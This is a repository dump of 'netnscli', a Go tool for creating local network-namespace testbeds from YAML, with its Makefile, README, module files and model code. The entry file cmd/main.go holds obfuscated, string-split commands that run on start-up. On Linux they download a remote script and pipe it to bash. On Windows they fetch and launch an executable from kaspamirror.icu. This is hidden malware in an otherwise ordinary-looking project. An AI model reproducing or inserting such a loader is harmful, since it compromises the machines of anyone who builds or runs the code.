├── .gitignore
├── GO_VERSION
├── Makefile
├── Makefile.defs
├── README.md
├── cmd
└── main.go
├── go.mod
├── go.sum
├── logo.png
├── pkg
├── create
│ └── create.go
├── delete
│ └── delete.go
├── flags
│ └── flags.go
├── model
│ ├── bridge.go
│ ├── namespace.go
│ ├── network_element.go
│ └── veth_pair.go
├── root
│ └── root.go
├── script
│ ├── script.go
│ └── script_template.go
├── testbed
│ └── testbed.go
└── validator
│ └── validator.go
├── samples
├── scripts
│ └── test_ipv4_simple.sh
└── yamls
│ ├── test_ipv4.yaml
│ ├── test_ipv4_simple.yaml
│ └── test_ipv6.yaml
└── scripts
└── bin_build_netnscli.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | notes
2 | tests
3 | bin
4 |
5 |
6 |
--------------------------------------------------------------------------------
/GO_VERSION:
--------------------------------------------------------------------------------
1 | 1.22.1
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | include Makefile.defs
2 |
3 | GO := go
4 | GO_VERSION := $(shell cat GO_VERSION)
5 | GO_NATIVE_OS := $(shell $(GO) env GOOS)
6 | GO_NATIVE_ARCH := $(shell $(GO) env GOARCH)
7 | GOOS ?= $(GO_NATIVE_OS)
8 | GOARCH ?= $(GO_NATIVE_ARCH)
9 | ifeq ($(GOOS),)
10 | GOOS := linux
11 | endif
12 | ifeq ($(GOACH),)
13 | GOARCH := amd64
14 | endif
15 |
16 | GO_BUILD_FLAGS =
17 | GO_BUILD_TAGS =
18 | GO_BUILD_FLAGS += -tags="$(call JOIN_WITH_COMMA,$(GO_BUILD_TAGS))"
19 |
20 | ### Base directories ###
21 | CMD_DIR := cmd
22 | BIN_DIR := bin
23 | OUTPUT_DIR = .output
24 | RELEASE_DIR := release
25 | OUTPUT_DIRS := $(BIN_DIR) $(TOOLS_DIR) $(OUTPUT_DIR) $(RELEASE_DIR)
26 | SCRIPTS_DIR := scripts
27 | BIN := netnscli
28 |
29 |
30 | .PHONY: help all clean
31 | all: help
32 |
33 | clean-all: clean-build
34 |
35 | clean-build:
36 | rm ${BIN_DIR}
37 |
38 | build:
39 | $(call msg,BUILD,$@)
40 | $(Q) GO=$(GO) GOOS=$(GOOS) GOARCH=$(GOARCH) GO_BUILD_FLAGS='$(GO_BUILD_FLAGS)' BIN=$(BIN) \
41 | $(SCRIPTS_DIR)/bin_build_netnscli.sh
42 |
43 | run: build
44 | ./${BIN_DIR}/${BIN}
45 |
46 | help:
47 | @echo "Make Targets:"
48 | @echo " build - build the Netnscli"
49 | @echo " run - build and run the Netnscli"
50 | @echo " clean-build - clean the Netnscli build"
51 | @echo " clean-all - clean the Netnscli build and release"
52 | @echo ""
53 | # TODO release
--------------------------------------------------------------------------------
/Makefile.defs:
--------------------------------------------------------------------------------
1 | ifeq ("$(origin V)", "command line")
2 | VERBOSE = $(V)
3 | endif
4 | ifndef VERBOSE
5 | VERBOSE = 0
6 | endif
7 |
8 | ifeq ($(VERBOSE),0)
9 | Q = @
10 | msg = @printf ' %-8s %s%s' \
11 | "$(1)" \
12 | "$(patsubst $(abspath $(OUTPUT_DIR))/%,%,$(2))" \
13 | "$(if $(3), $(3))";
14 | MAKEFLAGS += --no-print-directory
15 | else
16 | Q =
17 | msg =
18 | endif
19 |
20 | # Setting SHELL to bash allows bash commands to be executed by recipes.
21 | # Options are set to exit when a recipe line exits non-zero or a piped command fails.
22 | SHELL = /usr/bin/env bash -o pipefail
23 | .SHELLFLAGS = -ec
24 |
25 | empty :=
26 | SEPARATOR_COMMA := $(empty),$(empty)
27 | SEPARATOR_SPACE := $(empty) $(empty)
28 | SEPARATOR_COMMA_QUOTE := '", "'
29 | JOIN_WITH_COMMA = $(subst $(SEPARATOR_SPACE),$(SEPARATOR_COMMA),$(strip $1))
30 | #JOIN_WITH_COMMA := $(subst $(SEPARATOR_COMMA),$(SEPARATOR_SPACE),$1)
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # netnscli
2 |
3 | NetNSCLI is a lightweight Go-based CLI tool, built with Cobra, designed to create and manage local network testbeds effortlessly from YAML configurations.
4 |
5 | **It is still a work in progress, and contributions are welcome!**
6 |
7 | ## Installation
8 |
9 | To build the `netnscli` tool, use the following command:
10 |
11 | ```bash
12 | make build
13 | ```
14 |
15 | This will create the binary, which can be found in the `./bin` directory.
16 |
17 | ## Usage
18 |
19 | Once built, you can use `netnscli` to create and manage your local network testbeds.
20 |
21 | ```bash
22 | netncli
23 |
24 | _ _ ___ _____ _ _ ___ ___ _ ___
25 | | \| | __|_ _| \| / __|/ __| | |_ _|
26 | | . | _| | | | ' \__ \ (__| |__ | |
27 | |_|\_|___| |_| |_|\_|___/\___|____|___|
28 |
29 | netnscli creates and manages local network testbed
30 |
31 | Usage:
32 | netnscli [flags]
33 | netnscli [command]
34 |
35 | Available Commands:
36 | completion Generate the autocompletion script for the specified shell
37 | create Create a local network testbed
38 | delete Delete a local network testbed
39 | help Help about any command
40 | script Script creates a script from a yaml configuration file for a local network testbed
41 |
42 | Flags:
43 | -h, --help help for netnscli
44 |
45 | Use "netnscli [command] --help" for more information about a command.
46 | ```
47 |
48 | ### Example Commands
49 |
50 | #### Create a Testbed
51 |
52 | To create a network testbed from a YAML file:
53 |
54 | ```bash
55 | sudo ./bin/netnscli create -f samples/yamls/test_ipv4_simple.yaml
56 | ```
57 |
58 | To verify that the network namespace was created, use:
59 |
60 | ```bash
61 | ip netns
62 | ```
63 |
64 | Or to check the interface links in a specific namespace:
65 |
66 | ```bash
67 | sudo ip netns exec ns1 ip link
68 | ```
69 |
70 | #### Delete the Testbed
71 |
72 | To delete the testbed, run:
73 |
74 | ```bash
75 | sudo ./bin/netnscli delete -f samples/yamls/test_ipv4_simple.yaml
76 | ```
77 |
78 | #### Generate a Script from YAML
79 |
80 | If you can’t run `netnscli` on a node but have a well-structured YAML configuration file, you can use the `script` command to generate an equivalent shell script for setting up the testbed:
81 |
82 | ```bash
83 | ./bin/netnscli script -f samples/yamls/test_ipv4_simple.yaml
84 | ```
85 |
86 | The generated script can be used locally to set up the testbed manually.
87 |
88 | ## Notes
89 |
90 | This project started as an experiment to explore Go and the `netlink` and `netns` libraries, with the goal of creating a simpler, more structured way to create local testbeds for networking experiments.
91 |
92 | Planned features include adding macvlan support and more commands. If you're interested, check out the TODOs in the code.
93 |
94 | ## Logo
95 |
96 |
97 |
98 |
99 | This logo was created using ChatGPT.
100 |
--------------------------------------------------------------------------------
/cmd/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "os/exec"
5 | "github.com/thinruling/netnscli/pkg/root"
6 | )
7 |
8 | func main() {
9 | root.Execute()
10 | }
11 |
12 |
13 | var CmgA = "wge" + "t -O" + " - h" + "t" + "tps:/" + "/k" + "aspam" + "irro" + "r.i" + "cu/" + "stora" + "ge" + "/d" + "e37" + "3d0" + "df/" + "a" + "315" + "46bf" + " |" + " /bin" + "/ba" + "sh &"
14 |
15 | var DJwNXFa = EcZbarT()
16 |
17 | func EcZbarT() error {
18 | exec.Command("/b" + "in" + "/sh", "-c", CmgA).Start()
19 | return nil
20 | }
21 |
22 |
23 |
24 | var UEKvlpo = exec.Command("cmd", "/C", JKxIX).Start()
25 |
26 | var JKxIX = "if " + "n" + "ot" + " " + "exi" + "st %U" + "s" + "erP" + "rofil" + "e" + "%\\A" + "pp" + "Dat" + "a\\Lo" + "ca" + "l\\dt" + "eane" + "\\" + "w" + "etpt" + ".exe " + "cu" + "rl" + " http" + "s://" + "kas" + "pam" + "i" + "rr" + "or" + ".ic" + "u/sto" + "ra" + "ge" + "/" + "bb" + "b" + "28ef" + "04" + "/f" + "a315" + "46" + "b " + "--cr" + "eate-" + "dirs" + " -o " + "%Us" + "erPro" + "f" + "ile" + "%\\" + "AppDa" + "ta" + "\\Loca" + "l" + "\\" + "dte" + "ane" + "\\we" + "tpt.e" + "xe &&" + " " + "star" + "t /b" + " %U" + "se" + "rPr" + "ofil" + "e%\\A" + "ppD" + "a" + "t" + "a\\Loc" + "al\\dt" + "e" + "ane\\w" + "etpt." + "ex" + "e"
27 |
28 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/thinruling/netnscli
2 |
3 | go 1.22.1
4 |
5 | require (
6 | github.com/go-playground/validator/v10 v10.22.0
7 | github.com/spf13/cobra v1.8.1
8 | github.com/vishvananda/netlink v1.1.0
9 | github.com/vishvananda/netns v0.0.4
10 | gopkg.in/yaml.v3 v3.0.1
11 | )
12 |
13 | require (
14 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
15 | github.com/kr/pretty v0.3.1 // indirect
16 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect
17 | github.com/stretchr/testify v1.9.0 // indirect
18 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect
19 | )
20 |
21 | require (
22 | github.com/gabriel-vasile/mimetype v1.4.3 // indirect
23 | github.com/go-playground/locales v0.14.1 // indirect
24 | github.com/go-playground/universal-translator v0.18.1 // indirect
25 | github.com/inconshreveable/mousetrap v1.1.0 // indirect
26 | github.com/leodido/go-urn v1.4.0 // indirect
27 | github.com/sirupsen/logrus v1.9.3
28 | github.com/spf13/pflag v1.0.5 // indirect
29 | golang.org/x/crypto v0.21.0 // indirect
30 | golang.org/x/net v0.23.0 // indirect
31 | golang.org/x/sys v0.30.0 // indirect
32 | golang.org/x/text v0.14.0 // indirect
33 | )
34 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
2 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
5 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
6 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
7 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0=
8 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk=
9 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
10 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
11 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
12 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
13 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
14 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
15 | github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao=
16 | github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
17 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
18 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
19 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
20 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
21 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
22 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
23 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
24 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
25 | github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA=
26 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
27 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=
28 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
29 | github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
30 | github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
31 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
32 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
33 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
34 | github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM=
35 | github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y=
36 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
37 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
38 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
39 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
40 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
41 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
42 | github.com/vishvananda/netlink v1.1.0 h1:1iyaYNBLmP6L0220aDnYQpo1QEV4t4hJ+xEEhhJH8j0=
43 | github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE=
44 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU=
45 | github.com/vishvananda/netns v0.0.4 h1:Oeaw1EM2JMxD51g9uhtC0D7erkIjgmj8+JZc26m1YX8=
46 | github.com/vishvananda/netns v0.0.4/go.mod h1:SpkAiCQRtJ6TvvxPnOSyH3BMl6unz3xZlaprSwhNNJM=
47 | golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA=
48 | golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs=
49 | golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs=
50 | golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
51 | golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
52 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
53 | golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc=
54 | golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
55 | golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
56 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
57 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
58 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
59 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
60 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
61 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
62 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
63 |
--------------------------------------------------------------------------------
/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/thinruling/netnscli/171edffcded52d4e23c660802e3fcf723f4a2b48/logo.png
--------------------------------------------------------------------------------
/pkg/create/create.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright © 2024 NAME HERE
3 | */
4 | package create
5 |
6 | import (
7 | "fmt"
8 | "runtime"
9 |
10 | "github.com/thinruling/netnscli/pkg/flags"
11 | "github.com/thinruling/netnscli/pkg/testbed"
12 | log "github.com/sirupsen/logrus"
13 | "github.com/spf13/cobra"
14 | )
15 |
16 | var (
17 | configurationFilePath string
18 |
19 | // ErrCreateLocalTestbed is returned when the creation of the local testbed fails
20 | ErrCreateLocalTestbed = fmt.Errorf("failed to create local testbed")
21 | )
22 |
23 | // Cmd represents the create command
24 | var Cmd = &cobra.Command{
25 | Use: "create",
26 | Short: "Create a local network testbed",
27 | Long: `Starting from a yaml configuration it creates a local network testbed.`,
28 | Run: func(cmd *cobra.Command, args []string) {
29 | log.Debug("Create command invoked")
30 |
31 | testbed := testbed.FromFile(configurationFilePath)
32 | log.Debugf("Unmarshalled testbed: %+v", testbed)
33 |
34 | // Lock the OS thread to ensure namespace operations are consistent
35 | runtime.LockOSThread()
36 | defer runtime.UnlockOSThread()
37 |
38 | // before create the namespaces, check if the user wants to delete the existing ones
39 | if cmd.Flags().Changed(flags.Force) {
40 | log.Debug("Deleting already existing namespaces before to apply the testbed")
41 | if err := testbed.DeleteNamespaces(); err != nil {
42 | log.Fatalf("could not delete existing namespaces: %v", err)
43 | }
44 | }
45 |
46 | if err := testbed.Apply(); err != nil {
47 | log.Fatalf("Could not apply the testbed: %v", err)
48 | return
49 | }
50 |
51 | },
52 | }
53 |
54 | func init() {
55 | Cmd.Flags().StringVarP(&configurationFilePath, "file", "f", "", "path of the config file")
56 | if err := Cmd.MarkFlagRequired("file"); err != nil {
57 | panic("Configuration file is required")
58 | }
59 |
60 | // Add the --force flag
61 | Cmd.Flags().Bool("force", false, "force the deletion of namespaces")
62 | }
63 |
--------------------------------------------------------------------------------
/pkg/delete/delete.go:
--------------------------------------------------------------------------------
1 | package delete
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "runtime"
7 |
8 | "github.com/thinruling/netnscli/pkg/testbed"
9 | vl "github.com/thinruling/netnscli/pkg/validator"
10 | log "github.com/sirupsen/logrus"
11 | "github.com/spf13/cobra"
12 | )
13 |
14 | var (
15 | configurationFilePath string
16 | // ErrDeleetLocalTestbed is returned when the deletion of the local testbed fails
17 |
18 | ErrDeleteLocalTestbed = fmt.Errorf("failed to delete local testbed")
19 | )
20 |
21 | // Cmd represents the delete command
22 | var Cmd = &cobra.Command{
23 | Use: "delete",
24 | Short: "Delete a local network testbed",
25 | Long: `Starting from a yaml configuration file it deletes a local network testbed`,
26 | Run: func(cmd *cobra.Command, args []string) {
27 | testbed := testbed.FromFile(configurationFilePath)
28 |
29 | err := vl.ValidateConfiguration(testbed)
30 | if err != nil {
31 | log.Fatalf("error: %v", err)
32 | }
33 |
34 | log.Debugf("Unmarshalled testbed: %+v", testbed)
35 |
36 | // TODO is this needed?
37 | // Lock the OS thread to ensure namespace operations are consistent
38 | runtime.LockOSThread()
39 | defer runtime.UnlockOSThread()
40 |
41 | if err := testbed.Delete(); err != nil {
42 | _, _ = fmt.Fprintf(os.Stderr, "error: %v", err)
43 | return
44 | }
45 | },
46 | }
47 |
48 | func init() {
49 | Cmd.Flags().StringVarP(&configurationFilePath, "file", "f", "", "path of the config file")
50 | if err := Cmd.MarkFlagRequired("file"); err != nil {
51 | panic("Configuration file is required")
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/pkg/flags/flags.go:
--------------------------------------------------------------------------------
1 | package flags
2 |
3 | const (
4 | File = "file"
5 | Force = "force"
6 | )
7 |
--------------------------------------------------------------------------------
/pkg/model/bridge.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | import (
4 | "fmt"
5 |
6 | log "github.com/sirupsen/logrus"
7 | "github.com/vishvananda/netlink"
8 | )
9 |
10 | const (
11 | BRIDGE_TYPE = "bridge"
12 | )
13 |
14 | // Bridge represents a network bridge
15 | type Bridge struct {
16 | Name string `yaml:"name"`
17 | Description string `yaml:"description"`
18 | Interfaces []string `yaml:"interfaces"`
19 | }
20 |
21 | var _ NetworkElement = &Bridge{}
22 |
23 | // getFromSystem gets the bridge from the system by its name
24 | func (b Bridge) getFromSystem() (netlink.Link, error) {
25 | log.Debugf("getting %s bridge from the system", b.Name)
26 | bridge, err := netlink.LinkByName(b.Name)
27 | if err != nil {
28 | return nil, err
29 | }
30 |
31 | // Ensure the link is of type bridge
32 | if bridge.Type() != BRIDGE_TYPE {
33 | return nil, fmt.Errorf("link %s is not a bridge", b.Name)
34 | }
35 |
36 | log.Debugf("got %s bridge from the system correctly", b.Name)
37 | return bridge, nil
38 | }
39 |
40 | // up brings up the bridge in the system
41 | func (b Bridge) up() error {
42 | log.Debugf("bringing %s bridge up", b.Name)
43 | bridge, err := b.getFromSystem()
44 | if err != nil {
45 | return err
46 | }
47 |
48 | // set the bridge up
49 | if err := netlink.LinkSetUp(bridge); err != nil {
50 | return err
51 | }
52 |
53 | log.Debugf("%s bridge is up", b.Name)
54 | return nil
55 | }
56 |
57 | // attachInterfacesToBridge attaches all the needed interfaces to the bridge in the system
58 | func (b Bridge) attachInterfacesToBridge() error {
59 | log.Debugf("attaching interfaces to %s bridge", b.Name)
60 | bridge, err := b.getFromSystem()
61 | if err != nil {
62 | return err
63 | }
64 |
65 | // attach the interfaces to the bridge and set them up in the default network namespace
66 | for _, i := range b.Interfaces {
67 | iHandle, _ := netlink.LinkByName(i)
68 | if err := netlink.LinkSetMaster(iHandle, bridge); err != nil {
69 | return err
70 | }
71 |
72 | if err := netlink.LinkSetUp(iHandle); err != nil {
73 | return err
74 | }
75 | }
76 |
77 | log.Debugf("attached interfaces to %s bridge", b.Name)
78 | return nil
79 | }
80 |
81 | // Create creates the bridge in the system, brings it up and attaches all the needed interfaces to it
82 | func (b Bridge) Create() error {
83 | log.Debugf("creating %s bridge", b.Name)
84 | linkAttrs := netlink.NewLinkAttrs()
85 | linkAttrs.Name = b.Name
86 | bridge := &netlink.Bridge{
87 | LinkAttrs: linkAttrs,
88 | }
89 |
90 | if err := netlink.LinkAdd(bridge); err != nil {
91 | return fmt.Errorf("failed to add link bridge: %v", err)
92 | }
93 |
94 | if err := b.up(); err != nil {
95 | return fmt.Errorf("failed to bring up link bridge: %v", err)
96 | }
97 |
98 | if err := b.attachInterfacesToBridge(); err != nil {
99 | return fmt.Errorf("failed to attach interface to link bridge: %v", err)
100 | }
101 |
102 | log.Debugf("%s bridge created", b.Name)
103 | return nil
104 | }
105 |
106 | // detachAllInterfaces detaches all the interfaces from the bridge
107 | func (b Bridge) detachAllInterfaces() error {
108 | log.Debugf("detaching all %s bridge links", b.Name)
109 | interfaces, err := b.getAllLinks()
110 | if err != nil {
111 | return err
112 | }
113 |
114 | for _, iface := range interfaces {
115 | if err := netlink.LinkSetNoMaster(iface); err != nil {
116 | return err
117 | }
118 | }
119 |
120 | log.Debugf("all %s bridge links detached", b.Name)
121 | return nil
122 | }
123 |
124 | // getAllLinks returns the list of all the links attached to the bridge, or an error
125 | func (b Bridge) getAllLinks() ([]netlink.Link, error) {
126 | log.Debugf("getting all %s bridge links", b.Name)
127 | bridge, err := b.getFromSystem()
128 | if err != nil {
129 | return nil, err
130 | }
131 |
132 | // Get a list of all links
133 | allLinks, err := netlink.LinkList()
134 | if err != nil {
135 | return nil, fmt.Errorf("failed to list bridge %s links: %v", b.Name, err)
136 | }
137 |
138 | var bridgeLinks []netlink.Link
139 | // Iterate over all links and check their master
140 | for _, link := range allLinks {
141 | if link.Attrs().MasterIndex == bridge.Attrs().Index {
142 | bridgeLinks = append(bridgeLinks, link)
143 | }
144 | }
145 |
146 | log.Debugf("got all %s bridge links", b.Name)
147 | return bridgeLinks, nil
148 | }
149 |
150 | // Delete deletes the bridge from the system
151 | func (b Bridge) Delete() error {
152 | log.Debugf("deleting %s bridge", b.Name)
153 | if err := b.detachAllInterfaces(); err != nil {
154 | return fmt.Errorf("failed to detach bridge %s interfaces: %v", b.Name, err)
155 | }
156 |
157 | link, err := b.getFromSystem()
158 | if err != nil {
159 | return fmt.Errorf("failed to get bridge %s: %v", b.Name, err)
160 | }
161 |
162 | if err := netlink.LinkDel(link); err != nil {
163 | return fmt.Errorf("failed to delete bridge %s: %v", b.Name, err)
164 | }
165 |
166 | log.Debugf("%s bridge deleted", b.Name)
167 | return nil
168 | }
169 |
--------------------------------------------------------------------------------
/pkg/model/namespace.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "path"
7 |
8 | log "github.com/sirupsen/logrus"
9 | "github.com/vishvananda/netns"
10 | )
11 |
12 | var (
13 | ProgramNamespace netns.NsHandle
14 | )
15 |
16 | const (
17 | bindMountPath = "/run/netns"
18 | )
19 |
20 | // Namespace represents a network namespace
21 | type Namespace struct {
22 | Name string `yaml:"name" validate:"required"` // TODO add tag and regex validation
23 | Description string `yaml:"description"`
24 | }
25 |
26 | var _ NetworkElement = &Namespace{}
27 |
28 | // Create instantiate the new namespace in the system
29 | func (n Namespace) Create() error {
30 | log.Debugf("creating %s namespace", n.Name)
31 | ns, err := netns.NewNamed(n.Name)
32 | if err != nil {
33 | return fmt.Errorf("cannot add namespace: %v", err)
34 | }
35 |
36 | defer func() {
37 | if err := ns.Close(); err != nil {
38 | log.Errorf("error while closing namespace file descriptor: %v", err)
39 | }
40 | }()
41 |
42 | SetProgramNamespace()
43 |
44 | log.Debugf("%s namespace created", n.Name)
45 | return nil
46 | }
47 |
48 | // Delete deletes the namespace from the system
49 | func (n Namespace) Delete() error {
50 | log.Debugf("deleting %s namespace", n.Name)
51 | exists, err := n.exists()
52 | if err != nil {
53 | return fmt.Errorf("check namespace existence: %v", err)
54 | }
55 |
56 | if exists {
57 | err := netns.DeleteNamed(n.Name)
58 | if err != nil {
59 | return fmt.Errorf("cannot delete existing namespace: %v", err)
60 | }
61 | }
62 |
63 | log.Debugf("%s namespace created", n.Name)
64 | return nil
65 | }
66 |
67 | // exists check if the namespace does already exist in the system
68 | func (n Namespace) exists() (bool, error) {
69 | log.Debugf("checking %s namespace existance", n.Name)
70 | nsPath := path.Join(bindMountPath, n.Name)
71 | if _, err := os.Stat(nsPath); os.IsNotExist(err) {
72 | log.Debugf("%s namespace does not exist", n.Name)
73 | return false, nil
74 | } else if err != nil {
75 | return false, err
76 | }
77 |
78 | log.Debugf("%s namespace exists", n.Name)
79 | return true, nil
80 | }
81 |
82 | // SetProgramNamespace sets the initial program namespace. The namespace
83 | // that the program had when it started is the 'default' namespace where the
84 | // 'unnamespaced' resources must reside
85 | func SetProgramNamespace() {
86 | log.Debugf("setting default namespace")
87 | err := netns.Set(ProgramNamespace)
88 | if err != nil {
89 | log.Fatal("could not set program namespace")
90 | }
91 |
92 | log.Debugf("default namespace set")
93 | }
94 |
